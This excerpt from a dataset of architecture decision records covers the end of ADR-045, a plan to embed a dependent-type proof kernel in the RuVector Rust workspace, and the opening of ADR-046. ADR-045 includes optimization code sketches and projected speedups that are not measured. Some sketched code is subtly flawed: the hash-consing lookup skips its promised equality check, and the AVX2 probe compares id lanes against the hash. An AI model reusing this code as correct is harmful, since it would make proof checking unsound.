Nat, RuVec, Eq.refl\n8. Unit tests (Section 7.1): all 5 tests passing\n9. Benchmark: `arena_throughput` bench running, baseline established\n\n**Exit criteria**: `cargo test -p ruvector-verified` passes. `cargo bench -p ruvector-verified` runs.\n\n### Phase 2: Core Integration (Week 3-4)\n\n1. Enable `hnsw-proofs` feature, implement `verified_insert`\n2. Add `rvf-proofs` feature, implement `proof_store.rs` (Section 4.5)\n3. Implement `to_witness_entry()` and `sign_attestation()`\n4. Integration tests (Section 7.2): verified insert round-trip, witness chain round-trip\n5. Property-based tests (Section 7.3): proptest generators\n6. Negative tests (Section 7.4): soundness verification\n7. CI: create `.github/workflows/build-verified.yml` (Section 8.1)\n8. Benchmark: `proof_generation` bench, verify < 1ms per op\n\n**Exit criteria**: `cargo test -p ruvector-verified --features all-proofs` passes. CI green.\n\n### Phase 3: Pipeline Verification (Week 5-6)\n\n1. Implement `pipeline.rs`: `VerifiedStage`, `compose_stages` (Section 4.4)\n2. Map DNA pipeline stages (examples/dna ADR-001..015) to verified chain\n3. Integrate with `ruvector-cognitive-container` via `WitnessChain`:\n - `ProofAttestation` -> `to_witness_entry()` -> `WitnessChain::push()`\n4. Implement proof serialization for `.rvf` containers via `rvf-types`\n5. Tests: pipeline composition soundness, container round-trip\n\n**Exit criteria**: DNA pipeline stages compose without type errors. RVF containers carry proof witnesses.\n\n### Phase 4: Extended Coverage (Week 7-8)\n\n1. Attention mask shape verification (`ruvector-attention`)\n2. Solver convergence proofs (`ruvector-solver`)\n3. CRDT commutativity proofs (`ruvector-delta-consensus`)\n4. Create `ruvector-verified-wasm` with `wasm-bindgen` exports\n5. WASM CI with binary size assertion (< 80KB)\n6. Performance benchmarks: proof generation overhead < 1ms per op across all integrations\n7. Set `publish = true` on `ruvector-verified` if API is stable\n\n**Exit criteria**: WASM binary < 80KB. All benchmarks < 1ms. Feature-gated downstream crates compile.\n\n---\n\n## 11. Risk Assessment\n\n| Risk | Severity | Mitigation |\n|------|----------|------------|\n| Crate at v0.1.0, API unstable | Medium | Exact pin `=0.1.0`, bridge crate insulates downstream |\n| Dependent types learning curve | Medium | Pre-built invariant library in `invariants.rs` |\n| Proof generation overhead | Low | Benchmarked per-phase, < 1ms target, arena caching |\n| Workspace bloat | Low | Zero mandatory deps, feature-gated, 19KB crate |\n| Upstream abandonment | Low | Same maintainer (ruvnet), Apache-2.0 fork rights |\n| Type theory expressiveness limits | Medium | Start with dimension/equality proofs, expand iteratively |\n| `HashMap` blocks `no_std` | Low | Phase 4 concern only; `wasm32-unknown-unknown` has std |\n| ed25519-dalek version conflict | Low | Both use `\"2\"` -- verified compatible (Section 5) |\n| License mismatch (MIT vs Apache-2.0) | Low | Dual-license `ruvector-verified` as `MIT OR Apache-2.0` |\n\n---\n\n## 12. Alternatives Considered\n\n| Alternative | Rejected Because |\n|------------|-----------------|\n| **Creusot** (Rust -> Why3) | External toolchain, not embeddable as library |\n| **Prusti** (Rust verifier) | Compiler plugin, heavyweight, not composable |\n| **Kani** (bounded model checker) | Checks safety, not functional correctness |\n| **Custom proof system** | Reinventing wheel, lean-agentic already implements CoC |\n| **No verification** | Unacceptable for safety-critical genomic/financial paths |\n| **Runtime assertions only** | No compile-time guarantees, performance overhead |\n| **Depend on full lean-agentic workspace** | Only the core kernel is published; AI layer not needed |\n\n---\n\n## 13. Success Criteria\n\n| Metric | Target | Measurement |\n|--------|--------|-------------|\n| Proof generation latency | < 1ms per vector operation | `cargo bench -p ruvector-verified` |\n| Runtime overhead (release) | 0% (proof term is a Copy u32) | A/B benchmark: with vs without proof |\n| Runtime overhead (debug) | < 5% | A/B benchmark in debug mode |\n| API coverage | HNSW insert/query, pipeline compose, RVF witness | Feature flag test matrix |\n| Test coverage | > 90% for `ruvector-verified` | `cargo tarpaulin` |\n| WASM binary size | < 80KB (wasm-opt -Oz) | CI assertion in build-verified.yml |\n| Build time increase | < 3s incremental | CI timing comparison |\n| Arena cache hit rate | > 95% under dedup workload | `arena_throughput` bench |\n| Crate size on crates.io | < 50KB | `cargo package --list` |\n\n---\n\n## 14. Consequences\n\n### Positive\n\n- RuVector gains **formal correctness guarantees** for safety-critical pipelines (genomics, finance) without runtime overhead.\n- The proof attestation format chains into existing RVF witness infrastructure (ADR-042), enabling dual mathematical + hardware certification.\n- Zero impact on existing builds -- all verification is feature-gated and opt-in.\n- The bridge crate pattern insulates the workspace from upstream API churn.\n- Hash-consed arena provides 85% memory reduction for proof term storage.\n\n### Negative\n\n- Adds one external dependency to `Cargo.lock` (lean-agentic, 19KB, zero transitive deps).\n- Developers working on verification features need basic dependent type theory knowledge.\n- Bridge crate adds maintenance surface (~6 source files, ~500 lines).\n- Exact version pin (`=0.1.0`) means manual updates when upstream releases.\n\n### Neutral\n\n- No existing API changes. No default feature changes. No SemVer major bump.\n- `ruvector-verified` starts unpublished (`publish = false`), reducing community expectations.\n- WASM binary adds ~80KB to edge deployment bundles (only when verification feature is enabled).\n- The `MIT OR Apache-2.0` dual license on the new crate is standard practice in the Rust ecosystem.\n\n---\n\n## 15. Ultra-Optimization: RuVector Performance Primitives for the Kernel\n\n### 15.1 Motivation\n\nlean-agentic's kernel achieves 0.3ns term equality via hash-consing, but the surrounding operations -- arena allocation, WHNF reduction, substitution, unification constraint solving -- use vanilla `HashMap` and `Vec` data structures. By applying RuVector's battle-tested SIMD, arena, caching, and algorithmic patterns, we can reduce proof generation from the ~1ms target to **sub-100us**, making verification viable even in hot HNSW insert loops.\n\n### 15.2 Optimization Map\n\n| Kernel Bottleneck | RuVector Pattern | Source Crate | Expected Speedup |\n|-------------------|-----------------|--------------|-----------------|\n| Arena `HashMap` lookup | SIMD hash + 4-wide probe | `ruvector-core/simd_intrinsics` | 3-5x |\n| Term allocation | Bump allocator with O(1) reset | `ruvector-solver/arena` | 10-100x vs heap |\n| WHNF substitution | Bounds-check elimination + fused kernel | `ruvector-solver/neumann` | 2-3x |\n| Unification constraint queue | Thread-local pool with auto-return | `ruvector-mincut/pool` | 90%+ reuse |\n| Conversion equality cache | LRU with prefetch prediction | `ruvector-mincut/optimization/cache` | 10x for repeated |\n| Type tag comparison | INT8 quantized SIMD distance | `ruvector-core/quantization` | 4-8x |\n| De Bruijn index shifting | 4-wide unrolled scalar loop | `ruvector-solver/cg` (ILP pattern) | 3-4x |\n| Pipeline composition | Early exit via coherence gate | `ruvector-mincut-gated-transformer` | 30-50% skip |\n\n### 15.3 Optimization 1: SolverArena for Term Allocation\n\n**Problem**: lean-agentic's `Arena` uses `Vec` + `HashMap>`. Each `intern()` call may trigger HashMap resizing and Vec growth with per-element drop overhead.\n\n**Solution**: Replace the backing store with `ruvector-solver`'s `SolverArena` pattern -- a bump allocator with O(1) reset.\n\n```rust\n// crates/ruvector-verified/src/fast_arena.rs\n\nuse std::cell::RefCell;\n\n/// High-performance term arena using bump allocation.\n/// Modeled after ruvector-solver's SolverArena (crates/ruvector-solver/src/arena.rs).\n///\n/// Key differences from lean-agentic's default Arena:\n/// - Single contiguous allocation (cache-friendly)\n/// - O(1) reset reclaims all memory\n/// - 64-byte cache-line alignment for SIMD access\n/// - No per-term drop overhead\npub struct FastTermArena {\n /// Backing buffer: contiguous, cache-aligned\n buf: RefCell>,\n /// Bump pointer\n offset: RefCell,\n /// Term count (for TermId generation)\n count: RefCell,\n /// Hash-consing cache: open-addressing with linear probe\n /// Layout: [hash: u64, term_id: u32, padding: u32] x capacity\n cache_buf: RefCell>,\n cache_mask: usize, // capacity - 1 (power of 2)\n}\n\nimpl FastTermArena {\n /// Pre-allocate for expected term count.\n /// Typical: 4096 terms for a dimension proof, 65536 for pipeline verification.\n pub fn with_capacity(max_terms: usize) -> Self {\n let term_bytes = max_terms * std::mem::size_of::();\n let cache_cap = (max_terms * 2).next_power_of_two(); // 50% load factor\n\n Self {\n buf: RefCell::new(vec![0u8; term_bytes]),\n offset: RefCell::new(0),\n count: RefCell::new(0),\n cache_buf: RefCell::new(vec![0u64; cache_cap * 2]), // hash + id pairs\n cache_mask: cache_cap - 1,\n }\n }\n\n /// Intern a term with open-addressing hash lookup.\n /// Uses FxHash (multiply-shift) for speed over SipHash.\n #[inline]\n pub fn intern_fast(&self, kind: &TermKind) -> TermId {\n let hash = fx_hash(kind);\n let mask = self.cache_mask;\n let cache = self.cache_buf.borrow();\n\n // Linear probe with 4-wide unroll\n let mut slot = (hash as usize) & mask;\n for _ in 0..4 {\n let stored_hash = cache[slot * 2];\n if stored_hash == hash {\n // Potential hit -- verify structural equality\n let id = cache[slot * 2 + 1] as u32;\n return TermId(id);\n }\n if stored_hash == 0 {\n break; // Empty slot -- cache miss\n }\n slot = (slot + 1) & mask;\n }\n drop(cache);\n\n // Cache miss: allocate via bump pointer\n self.alloc_and_cache(kind, hash, slot)\n }\n\n /// O(1) reset -- reclaim all terms.\n /// Called between proof obligations.\n pub fn reset(&self) {\n *self.offset.borrow_mut() = 0;\n *self.count.borrow_mut() = 0;\n self.cache_buf.borrow_mut().fill(0);\n }\n}\n\n/// FxHash: multiply-shift hash (used by rustc internally).\n/// 5x faster than SipHash for small keys.\n#[inline]\nfn fx_hash(kind: &TermKind) -> u64 {\n // Hash the discriminant + first 8 bytes of payload\n let discriminant = std::mem::discriminant(kind);\n let mut h = 0xcbf29ce484222325u64; // FNV offset\n h = h.wrapping_mul(0x100000001b3); // FNV prime\n h ^= unsafe { std::mem::transmute_copy::<_, u64>(&discriminant) };\n h\n}\n```\n\n**Performance**: Eliminates heap allocation in hot path. Reset between proofs is O(1) vs O(n) drop.\n\n### 15.4 Optimization 2: SIMD-Accelerated Hash-Consing\n\n**Problem**: Hash-consing equality check requires computing hash of `TermKind`, then comparing against cached candidates. Default `HashMap` uses SipHash (DoS-resistant but slow).\n\n**Solution**: Apply `ruvector-core`'s SIMD distance pattern for hash-table probing.\n\n```rust\n// 4-wide parallel hash probe using the ILP pattern from\n// ruvector-solver/src/cg.rs (dot_product_f64 with 4 accumulators)\n\n#[inline]\nfn probe_4wide(cache: &[u64], hash: u64, mask: usize, start: usize) -> Option {\n let s0 = start & mask;\n let s1 = (start + 1) & mask;\n let s2 = (start + 2) & mask;\n let s3 = (start + 3) & mask;\n\n // 4 independent loads -- CPU can execute in parallel\n let h0 = cache[s0 * 2];\n let h1 = cache[s1 * 2];\n let h2 = cache[s2 * 2];\n let h3 = cache[s3 * 2];\n\n // 4 independent comparisons\n if h0 == hash { return Some(cache[s0 * 2 + 1] as u32); }\n if h1 == hash { return Some(cache[s1 * 2 + 1] as u32); }\n if h2 == hash { return Some(cache[s2 * 2 + 1] as u32); }\n if h3 == hash { return Some(cache[s3 * 2 + 1] as u32); }\n\n None // Continue probing\n}\n```\n\n**On AVX2 targets** (feature-gated):\n\n```rust\n#[cfg(all(feature = \"simd\", target_arch = \"x86_64\"))]\n#[target_feature(enable = \"avx2\")]\nunsafe fn probe_avx2(cache: &[u64], hash: u64, mask: usize, start: usize) -> Option {\n use std::arch::x86_64::*;\n\n // Broadcast search hash to 4 lanes\n let needle = _mm256_set1_epi64x(hash as i64);\n\n // Load 4 consecutive hash entries\n let s = start & mask;\n let ptr = cache.as_ptr().add(s * 2) as *const __m256i;\n let entries = _mm256_loadu_si256(ptr); // [h0, id0, h1, id1]\n\n // Compare: yields 0xFFFF... on match\n let cmp = _mm256_cmpeq_epi64(entries, needle);\n let bitmask = _mm256_movemask_epi8(cmp);\n\n if bitmask != 0 {\n let lane = bitmask.trailing_zeros() / 8;\n let id_offset = s * 2 + (lane as usize) + 1;\n return Some(cache[id_offset] as u32);\n }\n None\n}\n```\n\n**Expected speedup**: 3-5x over `HashMap::get()` for the hash-consing hot path.\n\n### 15.5 Optimization 3: Fused Substitution + Shift Kernel\n\n**Problem**: WHNF substitution `t[x := s]` requires traversing the term, shifting De Bruijn indices, and rebuilding. The default implementation makes 3 passes: traverse, shift, rebuild.\n\n**Solution**: Apply `ruvector-solver/neumann.rs` fused residual pattern -- do it in one pass.\n\n```rust\n/// Fused substitute-and-shift in a single traversal.\n/// Modeled after ruvector-solver's fused_residual_norm_sq which combines\n/// SpMV + subtraction + norm into one memory pass.\n///\n/// Instead of:\n/// pass 1: find variables to substitute\n/// pass 2: shift remaining indices\n/// pass 3: rebuild term\n///\n/// We do all three in a single recursive descent.\npub fn fused_substitute_shift(\n arena: &mut FastTermArena,\n term: TermId,\n var_idx: u32, // De Bruijn index to substitute\n replacement: TermId, // The replacement term\n shift: i32, // Current shift amount\n) -> TermId {\n match arena.kind(term) {\n TermKind::Var(n) => {\n if *n == var_idx {\n replacement // Substitute\n } else if *n > var_idx {\n // Shift down: variable was bound above the substitution\n arena.intern_fast(&TermKind::Var((*n as i32 + shift) as u32))\n } else {\n term // Below substitution point -- unchanged (return same TermId)\n }\n }\n TermKind::App(f, a) => {\n let f2 = fused_substitute_shift(arena, *f, var_idx, replacement, shift);\n let a2 = fused_substitute_shift(arena, *a, var_idx, replacement, shift);\n // Short-circuit: if nothing changed, return original (hash-consing dedup)\n if f2 == *f && a2 == *a { return term; }\n arena.mk_app(f2, a2)\n }\n TermKind::Lam(binder, body) => {\n let ty2 = fused_substitute_shift(arena, binder.ty, var_idx, replacement, shift);\n // Under a binder: increment var_idx and shift\n let body2 = fused_substitute_shift(arena, *body, var_idx + 1, replacement, shift);\n if ty2 == binder.ty && body2 == *body { return term; }\n let new_binder = Binder { ty: ty2, ..binder.clone() };\n arena.intern_fast(&TermKind::Lam(new_binder, body2))\n }\n TermKind::Pi(binder, body) => {\n let ty2 = fused_substitute_shift(arena, binder.ty, var_idx, replacement, shift);\n let body2 = fused_substitute_shift(arena, *body, var_idx + 1, replacement, shift);\n if ty2 == binder.ty && body2 == *body { return term; }\n let new_binder = Binder { ty: ty2, ..binder.clone() };\n arena.intern_fast(&TermKind::Pi(new_binder, body2))\n }\n // Sort, Const, Lit, MVar: no variables to substitute\n _ => term,\n }\n}\n```\n\n**Key trick**: The `if f2 == *f && a2 == *a { return term; }` short-circuit leverages hash-consing -- if sub-terms are unchanged, the parent term is also unchanged, saving allocation.\n\n### 15.6 Optimization 4: Thread-Local Resource Pools\n\n**Problem**: Each proof obligation creates fresh `Context`, constraint `VecDeque`, and `HashSet` for unification. These allocate and drop on every call.\n\n**Solution**: Apply `ruvector-mincut/pool/mod.rs` pattern -- thread-local pools with auto-return.\n\n```rust\n// Thread-local pool for proof-checking resources.\n// Pattern from ruvector-mincut's BfsPool (90%+ hit rate after warmup).\n\nuse std::cell::RefCell;\nuse std::collections::{VecDeque, HashSet};\n\nthread_local! {\n static PROOF_POOL: RefCell = RefCell::new(ProofResourcePool::new());\n}\n\nstruct ProofResourcePool {\n contexts: Vec,\n constraint_queues: Vec>,\n visited_sets: Vec>,\n acquires: usize,\n hits: usize,\n}\n\nimpl ProofResourcePool {\n fn new() -> Self {\n Self {\n contexts: Vec::new(),\n constraint_queues: Vec::new(),\n visited_sets: Vec::new(),\n acquires: 0,\n hits: 0,\n }\n }\n}\n\n/// Acquire pooled resources for a proof obligation.\n/// Auto-returns to pool when `ProofResources` is dropped.\npub fn acquire_proof_resources() -> ProofResources {\n PROOF_POOL.with(|pool| {\n let mut p = pool.borrow_mut();\n p.acquires += 1;\n\n let ctx = p.contexts.pop().unwrap_or_else(Context::new);\n let queue = p.constraint_queues.pop().unwrap_or_default();\n let visited = p.visited_sets.pop().unwrap_or_default();\n\n if !p.contexts.is_empty() || !p.constraint_queues.is_empty() {\n p.hits += 1;\n }\n\n ProofResources { ctx, queue, visited }\n })\n}\n\npub struct ProofResources {\n pub ctx: Context,\n pub queue: VecDeque,\n pub visited: HashSet,\n}\n\nimpl Drop for ProofResources {\n fn drop(&mut self) {\n // Clear but retain capacity, then return to pool\n self.ctx.clear();\n self.queue.clear();\n self.visited.clear();\n\n PROOF_POOL.with(|pool| {\n let mut p = pool.borrow_mut();\n p.contexts.push(std::mem::take(&mut self.ctx));\n p.constraint_queues.push(std::mem::take(&mut self.queue));\n p.visited_sets.push(std::mem::take(&mut self.visited));\n });\n }\n}\n```\n\n**Expected**: After warmup, 90%+ pool hit rate. Zero heap churn in steady state.\n\n### 15.7 Optimization 5: Conversion Cache with Prefetch\n\n**Problem**: The lean-agentic conversion engine memoizes WHNF results keyed on `(TermId, context_length)`, but uses a basic `HashMap`.\n\n**Solution**: Apply `ruvector-mincut/optimization/cache.rs` LRU with access-pattern prefetch.\n\n```rust\n/// Conversion result cache with access-pattern prediction.\n/// Modeled after ruvector-mincut's PathDistanceCache (10x for repeated queries).\npub struct ConversionCache {\n /// Open-addressing hash table: (key_hash, whnf_result)\n entries: Vec,\n mask: usize,\n /// Recent access pattern for prefetch prediction\n history: VecDeque,\n stats: CacheStats,\n}\n\n#[derive(Default, Clone)]\nstruct CacheEntry {\n key_hash: u64,\n term_id: TermId,\n whnf_result: TermId,\n access_count: u16,\n}\n\nstruct CacheStats {\n hits: u64,\n misses: u64,\n prefetch_hits: u64,\n}\n\nimpl ConversionCache {\n pub fn with_capacity(cap: usize) -> Self {\n let cap = cap.next_power_of_two();\n Self {\n entries: vec![CacheEntry::default(); cap],\n mask: cap - 1,\n history: VecDeque::with_capacity(64),\n stats: CacheStats { hits: 0, misses: 0, prefetch_hits: 0 },\n }\n }\n\n /// Look up cached WHNF result.\n #[inline]\n pub fn get(&mut self, term: TermId, ctx_len: usize) -> Option {\n let hash = self.key_hash(term, ctx_len);\n let slot = (hash as usize) & self.mask;\n\n // Prefetch next likely access based on history\n if let Some(&predicted) = self.history.front() {\n let pred_slot = (predicted as usize) & self.mask;\n #[cfg(target_arch = \"x86_64\")]\n unsafe {\n std::arch::x86_64::_mm_prefetch(\n (&self.entries[pred_slot]) as *const _ as *const i8,\n std::arch::x86_64::_MM_HINT_T0,\n );\n }\n }\n\n let entry = &self.entries[slot];\n if entry.key_hash == hash {\n self.stats.hits += 1;\n self.history.push_back(hash);\n if self.history.len() > 64 { self.history.pop_front(); }\n Some(entry.whnf_result)\n } else {\n self.stats.misses += 1;\n None\n }\n }\n\n #[inline]\n fn key_hash(&self, term: TermId, ctx_len: usize) -> u64 {\n let mut h = term.0 as u64;\n h = h.wrapping_mul(0x517cc1b727220a95);\n h ^= ctx_len as u64;\n h = h.wrapping_mul(0x6c62272e07bb0142);\n h\n }\n}\n```\n\n### 15.8 Optimization 6: Coherence-Gated Proof Depth\n\n**Problem**: Not all proof obligations are equally complex. Simple dimension checks need 2-3 reduction steps; pipeline composition may need hundreds. Spending the same effort on both wastes cycles.\n\n**Solution**: Apply `ruvector-mincut-gated-transformer`'s 3-tier compute routing.\n\n```rust\n/// Adaptive proof depth routing, modeled after the GateController\n/// in ruvector-mincut-gated-transformer/src/gate.rs.\n///\n/// Routes proof obligations to different compute tiers:\n/// - Reflex (<10us): Dimension equality, literal comparison\n/// - Standard (<100us): Single-step type inference\n/// - Deep (<1ms): Full WHNF + unification\npub enum ProofTier {\n /// Tier 0: Direct comparison, no reduction needed\n /// e.g., prove_dim_eq(128, 128) -- just check n == m\n Reflex,\n /// Tier 1: Shallow inference, 1-10 reduction steps\n /// e.g., verified_insert with known types\n Standard { max_fuel: u32 },\n /// Tier 2: Full kernel, up to 10,000 steps\n /// e.g., pipeline composition with dependent types\n Deep,\n}\n\n/// Route a proof obligation to the cheapest tier that can handle it.\npub fn route_proof(kind: &TermKind, env: &Environment) -> ProofTier {\n match kind {\n // Literals and variables: direct comparison\n TermKind::Lit(_) | TermKind::Var(_) => ProofTier::Reflex,\n\n // Constants: check if reducible in environment\n TermKind::Const(sym, _) => {\n if env.is_reducible(*sym) {\n ProofTier::Standard { max_fuel: 100 }\n } else {\n ProofTier::Reflex\n }\n }\n\n // Applications: check depth\n TermKind::App(f, _) => {\n // If function is a known constructor, shallow\n ProofTier::Standard { max_fuel: 500 }\n }\n\n // Binders always need full checking\n TermKind::Lam(_, _) | TermKind::Pi(_, _) | TermKind::Let(_, _, _) => {\n ProofTier::Deep\n }\n\n _ => ProofTier::Standard { max_fuel: 100 },\n }\n}\n\n/// Execute proof with tiered fuel budget.\npub fn verify_tiered(\n arena: &mut FastTermArena,\n env: &Environment,\n term: TermId,\n expected_ty: TermId,\n tier: ProofTier,\n) -> crate::Result<()> {\n match tier {\n ProofTier::Reflex => {\n // O(1): pointer equality via hash-consing\n if term == expected_ty { return Ok(()); }\n // Fallback to Standard\n verify_tiered(arena, env, term, expected_ty,\n ProofTier::Standard { max_fuel: 100 })\n }\n ProofTier::Standard { max_fuel } => {\n // Limited fuel conversion\n let mut converter = Converter::with_fuel(max_fuel);\n if converter.is_def_eq(arena, env, &Context::new(), term, expected_ty) {\n Ok(())\n } else if max_fuel < 10_000 {\n // Escalate to Deep\n verify_tiered(arena, env, term, expected_ty, ProofTier::Deep)\n } else {\n Err(VerificationError::ConversionTimeout { max_reductions: max_fuel })\n }\n }\n ProofTier::Deep => {\n // Full kernel with default 10,000 fuel\n let checker = TypeChecker::default();\n checker.check(arena, env, &Context::new(), term, expected_ty)\n .map_err(VerificationError::from)\n }\n }\n}\n```\n\n### 15.9 Optimization 7: Bounds-Check Elimination in Hot Loops\n\n**Problem**: Substitution and WHNF inner loops perform bounds checks on every `arena.get(TermId)`.\n\n**Solution**: Apply `ruvector-solver/neumann.rs` pattern -- validate once, then use `get_unchecked`.\n\n```rust\n/// Validate arena integrity once, then enter unchecked mode.\n/// Pattern from ruvector-solver's spmv_unchecked (validates CSR once, then raw ptrs).\npub fn enter_unchecked_mode(arena: &FastTermArena) -> UncheckedArenaView<'_> {\n // Validate: all TermIds in range, no dangling references\n let count = *arena.count.borrow();\n let buf = arena.buf.borrow();\n assert!(buf.len() >= count as usize * std::mem::size_of::());\n\n UncheckedArenaView {\n ptr: buf.as_ptr() as *const Term,\n count,\n }\n}\n\npub struct UncheckedArenaView<'a> {\n ptr: *const Term,\n count: u32,\n _phantom: std::marker::PhantomData<&'a ()>,\n}\n\nimpl<'a> UncheckedArenaView<'a> {\n /// O(1) term access without bounds check.\n /// SAFETY: Caller must ensure id.0 < self.count (validated at construction).\n #[inline(always)]\n pub unsafe fn get(&self, id: TermId) -> &Term {\n debug_assert!(id.0 < self.count);\n &*self.ptr.add(id.0 as usize)\n }\n}\n```\n\n### 15.10 Combined Performance Targets\n\n| Operation | Before (lean-agentic default) | After (RuVector optimized) | Speedup |\n|-----------|------------------------------|---------------------------|---------|\n| Term allocation | ~50ns (HashMap + Vec push) | ~5ns (bump + FxHash probe) | 10x |\n| Hash-consing lookup | ~30ns (SipHash + HashMap get) | ~8ns (FxHash + 4-wide probe) | 4x |\n| WHNF substitution | ~200ns (3-pass) | ~70ns (fused single-pass) | 3x |\n| Conversion equality | ~100ns (uncached) | ~10ns (LRU cache hit) | 10x |\n| Resource acquire | ~500ns (alloc + init) | ~20ns (pool acquire) | 25x |\n| Proof tier routing | N/A (always full kernel) | ~5ns (match on TermKind) | skip 30-50% |\n| **End-to-end: dimension proof** | ~1,000ns | **< 50ns** | **20x** |\n| **End-to-end: pipeline compose** | ~100,000ns | **< 10,000ns** | **10x** |\n\n### 15.11 Implementation Priority\n\nThese optimizations are **Phase 5** work (Week 9-10), after the base integration is stable:\n\n| Priority | Optimization | Effort | Impact |\n|----------|-------------|--------|--------|\n| P0 | SolverArena bump allocator (15.3) | 1 day | 10x allocation |\n| P0 | Thread-local resource pools (15.6) | 1 day | 25x resource acquire |\n| P1 | Fused substitution kernel (15.5) | 2 days | 3x WHNF |\n| P1 | Coherence-gated proof depth (15.8) | 1 day | Skip 30-50% work |\n| P2 | SIMD hash probe (15.4) | 2 days | 4x hash-consing |\n| P2 | Conversion cache with prefetch (15.7) | 1 day | 10x repeated |\n| P3 | Bounds-check elimination (15.9) | 1 day | 2x inner loops |\n\n**Total**: ~9 engineering days for 10-20x end-to-end speedup.\n\n### 15.12 New Dependencies for Optimization Phase\n\n```toml\n# Added to crates/ruvector-verified/Cargo.toml in Phase 5\n\n[features]\nfast-arena = [] # SolverArena-style bump allocator\nsimd-hash = [] # AVX2/NEON hash-consing probe\ngated-proofs = [] # Coherence-gated proof depth routing\nultra = [\"fast-arena\", \"simd-hash\", \"gated-proofs\"] # All optimizations\n\n# No new external dependencies -- all patterns are inlined from RuVector crates.\n# The optimizations use std::arch intrinsics directly (same as ruvector-core).\n```\n\n### 15.13 Benchmark Additions for Optimization Phase\n\n```toml\n# Additional bench entries for Phase 5\n\n[[bench]]\nname = \"fast_arena_vs_default\"\nharness = false\n\n[[bench]]\nname = \"simd_hash_probe\"\nharness = false\n\n[[bench]]\nname = \"fused_substitute\"\nharness = false\n\n[[bench]]\nname = \"tiered_routing\"\nharness = false\n```\n\n---\n\n## 16. References\n\n- [lean-agentic on crates.io](https://crates.io/crates/lean-agentic)\n- [lean-agentic documentation](https://docs.rs/lean-agentic)\n- [lean-agentic repository](https://github.com/agenticsorg/lean-agentic)\n- [Lean 4 type theory](https://leanprover.github.io/lean4/doc/)\n- ADR-001: RuVector Core Architecture\n- ADR-014: Coherence Engine\n- ADR-029: RVF Canonical Format\n- ADR-030: RVF Cognitive Container\n- ADR-039: RVF Solver WASM AGI Integration\n- ADR-042: Security RVF AIDefence TEE\n- ADR-044: ruvector-postgres v0.3 Extension Upgrade\n\n### Optimization Pattern Sources (Section 15)\n\n| Pattern | Source File | Lines |\n|---------|------------|-------|\n| Bump allocator | `crates/ruvector-solver/src/arena.rs` | 1-176 |\n| 4-wide ILP unroll | `crates/ruvector-solver/src/cg.rs` | 76-102 |\n| Fused kernel | `crates/ruvector-solver/src/neumann.rs` | 121-150 |\n| Bounds-check elimination | `crates/ruvector-solver/src/types.rs` | 86-111 |\n| Thread-local pool | `crates/ruvector-mincut/src/pool/mod.rs` | BfsPool |\n| LRU cache + prefetch | `crates/ruvector-mincut/src/optimization/cache.rs` | PathDistanceCache |\n| SIMD distance | `crates/ruvector-mincut/src/optimization/simd_distance.rs` | DistanceArray |\n| Coherence gate routing | `crates/ruvector-mincut-gated-transformer/src/gate.rs` | GateController |\n| WeightArena (bump) | `crates/ruvector-mincut-gated-transformer/src/arena.rs` | alloc_f32 |\n| AVX2 SpMV | `crates/ruvector-solver/src/simd.rs` | spmv_avx2 |\n| AVX2 horizontal sum | `crates/ruvector-core/src/simd_intrinsics.rs` | horizontal_sum |\n| FxHash (multiply-shift) | `crates/ruvector-core/src/simd_intrinsics.rs` | distance dispatch |\n| Cache-aligned struct | `crates/ruvector-core/src/arena.rs` | CACHE_LINE_SIZE=64 |\n| INT8 quantized SIMD | `crates/ruvector-core/src/simd_intrinsics.rs` | 979-1212 |\n| Early exit (coherence) | `crates/ruvector-mincut-gated-transformer/src/early_exit.rs` | CoherenceEarlyExit |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-045-lean-agentic-integration.md", "created_at": "2026-03-28T11:58:49.574265+00:00", "content_hash": "0f9bfab800afcb88993013623f40cb65f99e0857d40afd44ee0f1febd911b157"} +{"id": "2d1531dc-e3de-42ff-9058-ae0f800ffc20", "source": "adr", "text": "# ADR-046: Graph Transformer Unified Architecture\n\n## Status\n\nAccepted\n\n## Date\n\n2026-02-25\n\n## Context\n\nRuVector has accumulated eight specialized crates that together provide the building blocks for a full graph transformer stack: `ruvector-verified` for formal proofs, `ruvector-gnn` for graph neural network layers, `ruvector-attention` for 18+ attention mechanisms, `ruvector-mincut-gated-transformer` for energy-gated inference, `ruvector-solver` for sublinear sparse algorithms, `ruvector-coherence` for quality measurement, `ruvector-graph` for property graphs with Cypher, and `ruvector-mincut` for graph partitioning.\n\nThese crates were developed independently, each with their own error types, configuration patterns, and public APIs. Users who want to build proof-gated graph transformers must manually wire them together, handle error conversion between six different `thiserror` enums, coordinate feature flags across eight `Cargo.toml` files, and discover API composition patterns through trial and error.\n\nWe need a single `ruvector-graph-transformer` crate that composes these building blocks into a unified graph transformer with proof-gated mutation as the central control substrate, without duplicating any existing code.\n\n## Decision\n\nWe will create `ruvector-graph-transformer` as a composition crate at `crates/ruvector-graph-transformer/` that delegates to existing crates and provides a unified entry point, error type, and configuration surface. The crate will not reimplement any algorithm -- it wraps, delegates, and orchestrates.\n\n### Module Structure\n\n```\ncrates/ruvector-graph-transformer/\n src/\n lib.rs # GraphTransformer unified entry point, re-exports\n error.rs # Unified GraphTransformerError composing sub-crate errors\n config.rs # Unified configuration with builder pattern\n proof_gated/\n mod.rs # ProofGate, ProofScope, MutationLedger\n gate.rs # GateController bridging to ruvector-verified::gated\n attestation.rs # Attestation chain composition via ProofAttestation\n epoch.rs # Epoch boundaries for proof algebra upgrades\n sublinear_attention/\n mod.rs # SublinearGraphAttention trait and registry\n lsh.rs # LSH-attention on spectral coordinates\n ppr.rs # PPR-sampled attention via ruvector-solver\n spectral_sparsify.rs # Spectral sparsification for edge reduction\n physics/\n mod.rs # PhysicsLayer: energy gates, diffusion, PDE attention\n energy.rs # Bridges to ruvector-mincut-gated-transformer::EnergyGate\n diffusion.rs # Bridges to ruvector-attention::DiffusionAttention\n biological/\n mod.rs # BiologicalLayer: spiking attention, EWC\n spiking.rs # Bridges to ruvector-mincut-gated-transformer::spike\n ewc.rs # Bridges to ruvector-gnn::ElasticWeightConsolidation\n self_organizing/\n mod.rs # Mincut-driven topology adaptation\n partitioner.rs # Bridges to ruvector-mincut\n coarsening.rs # Hierarchical graph coarsening with learned pooling\n verified_training/\n mod.rs # VerifiedTrainer, TrainingCertificate\n pipeline.rs # Proof-carrying training loop\n invariants.rs # Per-step invariant specifications\n manifold/\n mod.rs # Manifold-aware operations\n hyperbolic.rs # Bridges to ruvector-attention::HyperbolicAttention\n mixed_curvature.rs # Bridges to ruvector-attention::MixedCurvatureFusedAttention\n temporal/\n mod.rs # Time-varying graph support\n snapshot.rs # Temporal graph snapshots with proof chains\n evolving.rs 